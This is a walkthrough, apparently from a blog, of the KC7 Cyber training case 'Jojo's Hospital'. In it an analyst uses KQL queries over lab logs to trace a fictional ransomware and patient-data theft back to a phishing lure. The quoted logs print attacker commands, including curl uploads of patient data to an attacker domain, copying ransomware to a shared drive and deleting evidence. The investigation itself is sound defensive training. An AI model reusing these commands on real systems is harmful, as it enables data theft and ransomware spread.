Jojo's Hospital

The third of KC7 Cyber's easiest cases, where we take on the role of a security analyst at a large hospital that becomes a victim of a data breach and ransomware attack; further into the investigation, we learn that the employee credentials used for the initial attack had been stolen and sold in the dark web some time before.

⚠️ The remainder of this introduction contains spoilers on the case. You may skip this section with the navigation. ⚠️

I personally did not find it as fun and engaging as A Scandal in Valdoria, but it's still great. The example of how the Senior IT Administrator (along with a few others) got his credentials originally compromised -- to be later sold to LockByte -- was really interesting and showed the sort of in-depth research threat actors can do. If you ask me, I'd never have thought of impersonating the popular restaurant chain across the street in order to entice people from my target organization into downloading malicious files (maybe I'm just not cut out to be a criminal).

As is frequently the case, there were no proper mechanisms in place (or weren't enforced) in order to avoid easy access to the hospital's network with just stolen usernames and passwords. For example, other cases have a row in the Employees table that states whether or not multi-factor authentication is enabled on an employee's account; it isn't the case here, and there are absolutely no mentions of it even being an option to begin with.

From the looks of it, the Senior IT Administrator logging in from a previously-never-used IP (and one that might be in a completely different location) didn't even raise a minimal alarm anywhere.

It's unfortunate that the bare minimum security measures are frequently unenforced, if not outright missing, even in critical industries such as healthcare. It goes without saying that cyber attacks on healthcare institutions are particularly devastating, as they are treasure troves of highly sensitive personal data of thousands of people -- not to mention that they frequently offer life-saving care that may be disrupted in the event of severe attacks like these.

Sections

Section 1 - Crypto - But the Bad Kind

JoJo's Hospital got hit by a ransomware attack just recently; I am tasked with investigating how this happened. The threat actor is a ransomware crew calling itself LockByte; they left a ransom note in the system, in which they gave the Hospital 72 hours to respond to their demand of 2M USD lest they leak all the personal information stolen during the attack. Furthermore, they contacted patients, denouncing the Hospital's cybersecurity stance and demanding a ransom of 10K USD within the next 72 hours; the attackers claim to have information such as Social Security Numbers, health info and health history, and residency addresses. To put it mildly, it's a serious case. The ransomware's encrypted files had the file extension .encrypted.

To get an idea of the scope of the problem, I used these KQL queries:

FileCreationEvents
| where filename endswith ".encrypted"
| count
Query Results
Count
6,420
FileCreationEvents
| where filename endswith ".encrypted"
| summarize count() by hostname
FileCreationEvents
| where filename endswith ".encrypted"
| distinct hostname
| lookup Employees on $left.hostname == $right.hostname

In brief, there are 321 distinct employees in JoJo's hospital, each with their own device. Summarizing count by hostnames shows that every single employee--from the CEO to the housekeeping staff--had 20 files encrypted by the ransomware each, for a total of 6420 files encrypted across the hospital network. All files were encrypted at the same time: 2024-06-17 at 14:49:30. The attackers must've left a ransom note some time before, during or after the attack.

FileCreationEvents
| where timestamp between (datetime(2024-06-17 14:40:00.0000) .. datetime(2024-06-17 14:59:30.0000))
| where filename !endswith ".encrypted"
Query Results
This table has been redacted; it only shows the most relevant findings, rather than the entire output of the KQL query above.
timestamp hostname username sha256 path filename process_name
2024-06-17 14:49:02.0000 AMFB-MACHINE andavis 97c348e95c8a8aeb8808f76434d73a92bbcb6b4586788365762b22624990b018 C:\Users\andavis\Documents\We_Have_Your_Data_Pay_Up.txt We_Have_Your_Data_Pay_Up.txt explorer.exe
2024-06-17 14:55:06.0000 AMFB-MACHINE andavis fcbf66163f8df29e9f71e3cde4799c7bc2f3508727fb7e5fa220e67d0a365ecf C:\Users\andavis\Documents\patient_data_1.zip patient_data_1.zip 7zip.exe

Among the results, I find the ransom note and evidence of data that likely was exfiltrated. This file only exists on the hostname AMFB-MACHINE, username andavis, which belongs to Senior IT Adminitrator Anthony Davis. It's probable that he was "patient zero" in this case; I decide to look what commands were being executed on the day of the ransomware attack.

ProcessEvents
| where hostname == "AMFB-MACHINE"
| where timestamp between (datetime(2024-06-17) .. datetime(2024-06-18))
| where process_commandline !contains "SystemApps"
or process_commandline !contains "WindowsApps"
Query Results
This table has been redacted; it only shows the most relevant findings, rather than the entire output of the KQL query above.
timestamp parent_process_name parent_process_hash process_commandline process_name process_hash hostname username
2024-06-17 13:35:12.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f cmd.exe /c copy C:\\Users\\andavis\\Downloads\\lockbyte_ransomer.exe \\jojos-hospital.org\\shared\\spread_ransomware.exe cmd.exe b29f5d70d4bf72d146b932550b23541b0797f597e24331d47052dad5212925ba AMFB-MACHINE andavis
2024-06-17 14:23:25.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f C:\Users\andavis\Downloads\patient_data_exporter.exe /export C:\Users\andavis\Documents\patient_data_1.zip /source \\jojos-hospital-server\important_data\patient_records patient_data_exporter.exe 0d663ea9485770015ce187c5796b5e171bcf4b14d48175e7189a3456ccd8cb16 AMFB-MACHINE andavis
2024-06-17 14:56:02.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f C:\Users\andavis\Downloads\patient_data_exporter.exe /export C:\Users\andavis\Documents\patient_data_2.zip /source \\jojos-hospital-server\important_data\archive\patient-records patient_data_exporter.exe 07850b0ffdf2a408bfec18693b339691227e66de3fc320c01725d72b7c4853d2 AMFB-MACHINE andavis
2024-06-17 15:54:53.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f C:\Users\andavis\Downloads\patient_data_exporter.exe /export C:\Users\andavis\Documents\patient_data_3.zip /source \\jojos-hospital-server\important_data\old-patient-data patient_data_exporter.exe 071668e559d63b7ea3a71c115f66d612faada08bdca301ba95d0ab2c3045c604 AMFB-MACHINE andavis
2024-06-17 17:18:57.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f cmd.exe /c curl -T C:\Users\andavis\Documents\patient_data_1.zip https://secure-health-access.com/upload/patient_data_1.zip cmd.exe 21f6b0962ea22e6eb0c1bb6143090e6929b801b54c584268148518c1864ec3c6 AMFB-MACHINE andavis
2024-06-17 17:30:31.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f cmd.exe /c curl -T C:\Users\andavis\Documents\patient_data_2.zip https://secure-health-access.com/upload/patient_data_2.zip cmd.exe 1bef9249ff7ae6480d8d62daaab870e3d1e35a67d7551571551d6214d727fea7 AMFB-MACHINE andavis
2024-06-17 17:31:50.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f cmd.exe /c curl -T C:\Users\andavis\Documents\patient_data_3.zip https://secure-health-access.com/upload/patient_data_3.zip cmd.exe 6d88a47faaa3f587650f4ebebe9425b3aff292d74f29f582647f05c3dd4fd78b AMFB-MACHINE andavis
2024-06-17 17:36:47.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f cmd.exe /c del C:\Users\andavis\Documents\patient_data_*.zip cmd.exe 3400577569147cdb0ae8edbc9c77dd921a46ca43e7f386adee895a432baa2644 AMFB-MACHINE andavis

Note the executables and files:

  1. lockbyte_ransomer.exe, which was renamed and copied to the hospital's SharePoint as spread_ransomware.exe
  2. patient_data_exporter.exe, which was run to extract current and old, archieved patient data from jojos-hospital-server into discrete .zip files.
  3. patient_data_1.zip, patient_data_2.zip and patient_data_3.zip, the mentioned discrete .zip files, which were uploaded via cURL to the attacker-controlled server secure-health-access.com.

The attackers took the precaution of erasing the evidence, but at least patient_data_1.zip remained on Anthony Davis' computer even after the del command was executed. (See [1])

And, obviously, these files came from outside the hospital network.

OutboundNetworkEvents
| where url has_any ("patient_data_exporter.exe", "lockbyte_ransomer.exe", "spread_ransomware.exe")
Query Results
timestamp method src_ip user_agent url
2024-06-17 13:34:30.0000 GET 10.10.0.1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 5.1; Trident/6.0) https://secure-health-access.com/tools/lockbyte_ransomer.exe
2024-06-17 14:22:29.0000 GET 10.10.0.1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 5.1; Trident/6.0) https://secure-health-access.com/tools/patient_data_exporter.exe

The same domain pops up again: secure-health-access.com. To investigate it further, I did a lookup against the PassiveDns table.

OutboundNetworkEvents
| where url has_any ("patient_data_exporter.exe", "lockbyte_ransomer.exe", "spread_ransomware.exe")
| project domain = tostring(parse_url(url).Host)
| distinct domain
| lookup PassiveDns on $left.domain == $right.domain
| distinct ip
Query Results
ip
203.0.113.1
203.0.113.2
OutboundNetworkEvents
| where url has_any ("patient_data_exporter.exe", "lockbyte_ransomer.exe", "spread_ransomware.exe")
| project domain = tostring(parse_url(url).Host)
| distinct domain
| lookup PassiveDns on $left.domain == $right.domain
| distinct ip
| lookup PassiveDns on $left.ip == $right.ip
| distinct domain
Query Results
domain
emr-help.net
secure-health-access.com

There are two attacker-controlled domains: emr-help-net and secure-health-access.com, both of which are associated with the IP addresses 203.0.113.1 and 203.0.113.2. It's a good idea to see if these IP addresses are recorded in any of the hospital network's logs; the query...

search "203.0.113.1" or "203.0.113.2"
| sort by $table, timestamp asc

...shows that these IPs were seen in the tables PassiveDns, AuthenticationEvents and InboundNetworkEvents. First, I'll check InboundNetworkEvents for evidence of reconnaissance.

Query Results
This table has been redacted; it only shows the most relevant findings, rather than the entire output of the KQL query above.
timestamp method src_ip user_agent url status_code
2024-05-20 00:00:00.0000 GET 203.0.113.1 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/search=JoJo%27s+Hospital+patient+records 200
2024-05-20 11:45:05.0000 GET 203.0.113.2 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/search=JoJo%27s+Hospital+medical+database 200
2024-05-20 11:45:18.0000 GET 203.0.113.2 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/search=how+to+access+patient+information+JoJo%27s+Hospital 200
2024-05-20 11:45:58.0000 GET 203.0.113.1 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/search=JoJo%27s+Hospital+EMR+system 200
2024-05-20 11:46:33.0000 GET 203.0.113.2 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/search=sensitive+data+storage+JoJo%27s+Hospital 200
2024-05-20 11:46:50.0000 GET 203.0.113.2 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/search=JoJo%27s+Hospital+data+access+protocols 200
2024-05-20 11:46:59.0000 GET 203.0.113.2 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/search=how+to+bypass+security+JoJo%27s+Hospital 200
2024-05-20 11:47:55.0000 GET 203.0.113.1 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/patients 200
2024-05-20 11:48:08.0000 GET 203.0.113.2 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/patients/medical-records 200
2024-05-20 11:48:28.0000 GET 203.0.113.2 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/internal/patient-database 200
2024-05-20 11:48:45.0000 GET 203.0.113.1 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/internal/medical-records-access 200
2024-05-20 11:48:54.0000 GET 203.0.113.2 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/internal/emr-system 200
2024-05-20 11:48:55.0000 GET 203.0.113.1 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/internal/sensitive-data 200
2024-05-20 11:49:48.0000 GET 203.0.113.1 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/internal/data-access-protocols 200
2024-06-17 13:12:46.0000 GET 203.0.113.2 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/patients/export 200
2024-06-17 13:12:47.0000 GET 203.0.113.1 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/internal/export-patient-data 200
2024-06-17 13:13:13.0000 GET 203.0.113.2 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/archive/patient-records 200
2024-06-17 13:13:47.0000 GET 203.0.113.1 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/old-patient-data 200
2024-06-17 13:14:36.0000 GET 203.0.113.1 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/patients/export/all 200
2024-06-17 13:14:41.0000 GET 203.0.113.1 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/patients/download 200
2024-06-17 13:15:25.0000 GET 203.0.113.1 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/internal/patient-data/export 200
2024-06-17 13:16:01.0000 GET 203.0.113.2 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/internal/data/export 200
2024-06-17 13:16:10.0000 GET 203.0.113.2 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/archive/export-records 200
2024-06-17 13:16:55.0000 GET 203.0.113.1 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/archive/download-records 200
2024-06-17 13:17:48.0000 GET 203.0.113.1 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/records/export 200
2024-06-17 13:18:26.0000 GET 203.0.113.2 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/records/download 200
2024-06-17 13:19:04.0000 GET 203.0.113.2 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/medical-records/export 200
2024-06-17 13:19:31.0000 GET 203.0.113.1 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/medical-records/download 200
2024-06-17 13:20:04.0000 GET 203.0.113.2 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/patients/data/archive 200
2024-06-17 13:20:28.0000 GET 203.0.113.2 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/patients/data/backup 200
2024-06-17 13:21:09.0000 GET 203.0.113.1 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/internal/patient-records/archive 200
2024-06-17 13:21:55.0000 GET 203.0.113.2 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/internal/patient-records/backup 200
2024-06-17 13:22:07.0000 GET 203.0.113.1 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/database/export 200
2024-06-17 13:22:57.0000 GET 203.0.113.2 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/database/backup 200
2024-06-17 13:23:12.0000 GET 203.0.113.1 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/data/export 200
2024-06-17 13:23:50.0000 GET 203.0.113.2 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/data/download 200
2024-06-17 13:23:51.0000 GET 203.0.113.1 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 https://jojoshospital.org/data/backup 200

As seen here, the attackers start with search queries, hoping to find information on the hospital's internals, including weak points in its security stance. However, on 2024-05-20 at 11:47:55 in the morning, they've managed to access sensitive internal folders, such as patients, patient data, health records, the patient database, and so on. 27 days later, starting on 2024-06-17 at 13:12:46 in the afternoon, the attackers start actually exporting the data, including backups, using internal mechanisms.

Note that the exfiltration seen in Anthony Davis' computer started on 2024-06-17 at 14:23:25 in the afternoon, roughly an hour and ten minutes after they started using the patient_data_exporter.exe to gather data for exfiltration.

Moving on to the AuthenticationEvents table:

Query Results
This table has been redacted; it only shows the most relevant findings, rather than the entire output of the KQL query above.
timestamp hostname src_ip user_agent username result password_hash description
2024-05-20 00:00:00.0000 MAIL-SERVER01 203.0.113.1 Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.46.3 (KHTML, like Gecko) Version/5.0 Safari/535.46.3 andavis Successful Login a9fbcdd6b449063a2ff822ea7d266402 A user attempted to log in to their email

Anthony Davis' account andavis had its credentials compromised, it was used to log in to the hospital network, and used to steal data and spread the ransomware across the hospital network. It might've also been used during the reconnaissance process to begin with. Now, how were his account credentials compromised to begin with?

Section 2 - Sharks in the Hospital Water

According to fellow investigators, Anthony Davis' credentials were sold on the dark web; it's very likely that LockByte purchased and used them in this manner. A few weeks back, a hospital employee reported seeing a suspicious sponsored search result for the popular chicken restaurant Raising Cane's, which has a location across the street from JoJo's Hospital and is thus very popular among employees. The sponsored result has the url www.rasinkanes.com; the official Raising Cane's webpage is www.raisingcanes.com. This merits further investigation.

OutboundNetworkEvents
| where url has "raisinkanes.com"

This query shows 26 results from 24 distinct employee IP addresses. The url to rasinkanes.com redirects to either of two domains: totally-legit-domain.com or nothing-to-see-here.net Pivoting with a lookup against the Employees table shows us the affected users:

OutboundNetworkEvents
| where url has "raisinkanes.com"
| distinct src_ip
| lookup Employees on $left.src_ip == $right.ip_addr
| distinct role, name
| sort by role desc
Query Results
role name
Senior IT Administrator Anthony Davis
Nurse Delores Werts
Nurse Bud Rochelle
Nurse Elizabeth Rodriguez
Nurse Yvonne Kibler
Nurse Allison Jean
Nurse William Buck
Nurse Annemarie Dyer
Nurse George Mattingly
Nurse Nichole Goforth
Lab Technician Celia Day
Lab Technician Andrew Hart
Lab Technician Matthew Williams
Lab Technician Mark Chambers
Lab Technician Felicia Lytle
Lab Technician Joy Salstrom
Lab Technician Eva Browne
Lab Technician Stacy Wilson
Lab Technician Michelle Simpkins
IT Support Specialist Diana Lopez
IT Support Specialist Bob Nelson
IT Support Specialist Alice Wang
IT Support Specialist Charlie Kim
Chief Medical Officer Dr. Mark Johnson

Crucially, among the people who navigated to this suspicious domain was Senior IT Administrator Anthony Davis.

Investigating the domain with PassiveDns reveals nothing, to my surprise. Hoping to uncover more of the attacker's infrastructure, such as other malicious domains, I pivot:

OutboundNetworkEvents
| where url has "raisinkanes.com"
| distinct tostring(parse_url(url).["Query Parameters"].["redirect"])
Query Results
Query Parameters_redirect
nothing-to-see-here.net
totally-legit-domain.com

This confirms the urls redirect to one of two domains. I can use this to check if there are any other malicious domains that redirect to these besides raisinkanes.com, like this:

let redirectDomains =
OutboundNetworkEvents
| where url has "raisinkanes.com"
| distinct tostring(parse_url(url).["Query Parameters"].["redirect"]);
OutboundNetworkEvents
| where tostring(parse_url(url).Host) !in (redirectDomains)
| where tostring(parse_url(url).['Query Parameters']) has_any (redirectDomains)
| project ['bad domain'] = tostring(parse_url(url).Host)
| distinct ['bad domain']
Query Results
bad domain
raisinkanes.com
freerainsingkanes.net

Once again, doing a lookup against PassiveDns returns nothing about these domains. Let's go back to checking what, exactly, happens when the users were redirected:

let redirectDomains =
OutboundNetworkEvents
| where url has "raisinkanes.com"
| distinct tostring(parse_url(url).["Query Parameters"].["redirect"]);
OutboundNetworkEvents
| where tostring(parse_url(url).Host) in (redirectDomains)
Query Results
timestamp method src_ip user_agent url
2024-05-01 09:56:49.0000 GET 10.10.0.231 Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.2; WOW64; Trident/4.0) https://nothing-to-see-here.net/images/public/Raisin_Kane_Promo_Offer.docx
2024-05-01 10:57:35.0000 GET 10.10.0.151 Mozilla/5.0 (Windows NT 5.1; rv:50.0) Gecko/20100101 Firefox/50.0 https://nothing-to-see-here.net/search/published/Raisin_Kane_Free_Meal_Voucher.pdf
2024-05-01 11:54:55.0000 GET 10.10.0.49 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 https://totally-legit-domain.com/online/files/Raisin_Kane_Free_Meal_Voucher.pdf
2024-05-01 12:38:48.0000 GET 10.10.0.42 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0 https://nothing-to-see-here.net/files/files/Raisin_Kane_Free_Meal_Voucher.pdf
2024-05-01 14:46:21.0000 GET 10.10.0.118 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 https://nothing-to-see-here.net/images/Raisin_Kane_Promo_Offer.docx
2024-05-01 15:04:06.0000 GET 10.10.0.23 Mozilla/5.0 (Windows NT 6.2; Trident/7.0; rv:11.0) like Gecko https://totally-legit-domain.com/public/search/Raisin_Kane_Free_Meal_Voucher.pdf
2024-05-02 10:57:24.0000 GET 10.10.0.22 Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 https://nothing-to-see-here.net/share/Raisin_Kane_Free_Meal_Voucher.pdf
2024-05-02 11:12:46.0000 GET 10.10.0.40 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 https://nothing-to-see-here.net/published/Raisin_Kane_Free_Meal_Voucher.pdf
2024-05-02 12:01:11.0000 GET 10.10.0.147 Mozilla/5.0 (Windows NT 6.3; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0 https://nothing-to-see-here.net/share/Raisin_Kane_Promo_Offer.docx
2024-05-02 14:08:20.0000 GET 10.10.1.6 Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.96 Safari/537.36 https://nothing-to-see-here.net/files/public/Raisin_Kane_Promo_Offer.docx
2024-05-02 14:50:49.0000 GET 10.10.0.34 Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0 https://nothing-to-see-here.net/files/Raisin_Kane_Promo_Offer.docx
2024-05-02 15:34:52.0000 GET 10.10.0.248 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 https://nothing-to-see-here.net/modules/published/Raisin_Kane_Promo_Offer.docx
2024-05-02 16:11:39.0000 GET 10.10.0.147 Mozilla/5.0 (Windows NT 6.3; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0 https://nothing-to-see-here.net/public/public/Raisin_Kane_Promo_Offer.docx
2024-05-02 16:14:29.0000 GET 10.10.0.21 Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.99 Safari/537.36 https://nothing-to-see-here.net/online/public/Raisin_Kane_Free_Meal_Voucher.pdf
2024-05-03 09:35:48.0000 GET 10.10.1.41 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.120 Safari/537.36 https://nothing-to-see-here.net/published/Raisin_Kane_Promo_Offer.docx
2024-05-03 09:39:34.0000 GET 10.10.0.225 Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 https://totally-legit-domain.com/online/published/Raisin_Kane_Free_Meal_Voucher.pdf
2024-05-03 09:56:35.0000 GET 10.10.0.132 Mozilla/5.0 (Windows NT 6.2; Trident/7.0; rv:11.0) like Gecko https://totally-legit-domain.com/published/Raisin_Kane_Promo_Offer.docx
2024-05-03 10:48:22.0000 GET 10.10.0.2 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.3; Win64; x64; Trident/5.0) https://nothing-to-see-here.net/published/Raisin_Kane_Free_Meal_Voucher.pdf
2024-05-03 13:40:22.0000 GET 10.10.1.5 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.99 Safari/537.36 https://nothing-to-see-here.net/share/Raisin_Kane_Promo_Offer.docx
2024-05-03 13:53:16.0000 GET 10.10.0.225 Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 https://totally-legit-domain.com/files/published/Raisin_Kane_Free_Meal_Voucher.pdf
2024-05-03 15:41:59.0000 GET 10.10.0.130 Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.185 Safari/537.36 https://totally-legit-domain.com/published/Raisin_Kane_Promo_Offer.docx
2024-05-04 14:31:08.0000 GET 10.10.0.68 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 https://nothing-to-see-here.net/online/Raisin_Kane_Free_Meal_Voucher.pdf
2024-05-04 14:57:23.0000 GET 10.10.0.16 Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.3; WOW64; Trident/4.0) https://nothing-to-see-here.net/modules/published/Raisin_Kane_Promo_Offer.docx
2024-05-04 16:06:15.0000 GET 10.10.1.57 Mozilla/5.0 (Windows NT 5.1; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0 https://totally-legit-domain.com/public/images/Raisin_Kane_Free_Meal_Voucher.pdf
2024-05-05 08:33:21.0000 GET 10.10.0.227 Mozilla/5.0 (Windows NT 5.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 https://nothing-to-see-here.net/published/files/Raisin_Kane_Free_Meal_Voucher.pdf
2024-05-05 10:32:27.0000 GET 10.10.0.189 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.3; WOW64; Trident/5.0) https://nothing-to-see-here.net/images/search/Raisin_Kane_Promo_Offer.docx
2024-05-05 12:09:26.0000 GET 10.10.1.1 Mozilla/5.0 (Windows NT 6.2; rv:51.0) Gecko/20100101 Firefox/51.0 https://nothing-to-see-here.net/published/search/Raisin_Kane_Promo_Offer.docx
2024-05-05 13:39:54.0000 GET 10.10.1.36 Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0 https://totally-legit-domain.com/files/published/Raisin_Kane_Promo_Offer.docx
2024-05-05 14:53:41.0000 GET 10.10.1.22 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.3; Trident/6.0) https://totally-legit-domain.com/online/Raisin_Kane_Promo_Offer.docx
2024-05-06 10:14:08.0000 GET 10.10.0.244 Mozilla/5.0 (Windows NT 5.1; rv:46.0) Gecko/20100101 Firefox/46.0 https://totally-legit-domain.com/files/modules/Raisin_Kane_Free_Meal_Voucher.pdf
2024-05-06 11:15:54.0000 GET 10.10.0.167 Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko https://totally-legit-domain.com/online/Raisin_Kane_Promo_Offer.docx
2024-05-06 12:36:12.0000 GET 10.10.0.244 Mozilla/5.0 (Windows NT 5.1; rv:46.0) Gecko/20100101 Firefox/46.0 https://nothing-to-see-here.net/share/files/Raisin_Kane_Promo_Offer.docx
2024-05-07 10:17:02.0000 GET 10.10.0.75 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.99 Safari/537.36 https://nothing-to-see-here.net/search/Raisin_Kane_Promo_Offer.docx
2024-05-07 13:02:32.0000 GET 10.10.0.10 Mozilla/5.0 (Windows NT 5.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0 https://totally-legit-domain.com/public/Raisin_Kane_Promo_Offer.docx
